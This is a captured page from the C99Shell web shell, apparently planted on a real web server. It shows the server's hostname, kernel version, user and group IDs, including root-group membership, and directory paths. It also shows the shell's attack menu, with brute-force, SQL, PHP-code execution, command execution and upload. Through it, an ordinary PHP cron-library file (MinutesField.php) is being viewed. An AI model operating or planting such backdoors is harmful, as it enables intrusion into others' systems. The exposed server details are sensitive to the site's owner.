!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/dragonmantank/cron-expression/src/Cron/   drwxr-xr-x
Free 28.51 GB of 117.98 GB (24.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MinutesField.php (2.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Cron;

use 
DateTimeInterface;

/**
 * Minutes field.  Allows: * , / -.
 */
class MinutesField extends AbstractField
{
    
/**
     * {@inheritdoc}
     */
    
protected $rangeStart 0;

    
/**
     * {@inheritdoc}
     */
    
protected $rangeEnd 59;

    
/**
     * {@inheritdoc}
     */
    
public function isSatisfiedBy(DateTimeInterface $date$valuebool $invert):bool
    
{
        if (
$value === '?') {
            return 
true;
        }

        return 
$this->isSatisfied((int)$date->format('i'), $value);
    }

    
/**
     * {@inheritdoc}
     * {@inheritDoc}
     *
     * @param string|null                  $parts
     */
    
public function increment(DateTimeInterface &$date$invert false$parts null): FieldInterface
    
{
        if (
is_null($parts)) {
            
$date $this->timezoneSafeModify($date, ($invert "-" "+") ."1 minute");
            return 
$this;
        }

        
$current_minute = (int) $date->format('i');

        
$parts false !== strpos($parts',') ? explode(','$parts) : [$parts];
        
sort($parts);
        
$minutes = [];
        foreach (
$parts as $part) {
            
$minutes array_merge($minutes$this->getRangeForExpression($part59));
        }

        
$position $invert \count($minutes) - 0;
        if (
\count($minutes) > 1) {
            for (
$i 0$i \count($minutes) - 1; ++$i) {
                if ((!
$invert && $current_minute >= $minutes[$i] && $current_minute $minutes[$i 1]) ||
                    (
$invert && $current_minute $minutes[$i] && $current_minute <= $minutes[$i 1])) {
                    
$position $invert $i $i 1;

                    break;
                }
            }
        }

        
$target = (int) $minutes[$position];
        
$originalMinute = (int) $date->format("i");

        if (! 
$invert) {
            if (
$originalMinute >= $target) {
                
$distance 60 $originalMinute;
                
$date $this->timezoneSafeModify($date"+{$distance} minutes");

                
$originalMinute = (int) $date->format("i");
            }

            
$distance $target $originalMinute;
            
$date $this->timezoneSafeModify($date"+{$distance} minutes");
        } else {
            if (
$originalMinute <= $target) {
                
$distance = ($originalMinute 1);
                
$date $this->timezoneSafeModify($date"-{$distance} minutes");

                
$originalMinute = (int) $date->format("i");
            }

            
$distance $originalMinute $target;
            
$date $this->timezoneSafeModify($date"-{$distance} minutes");
        }

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--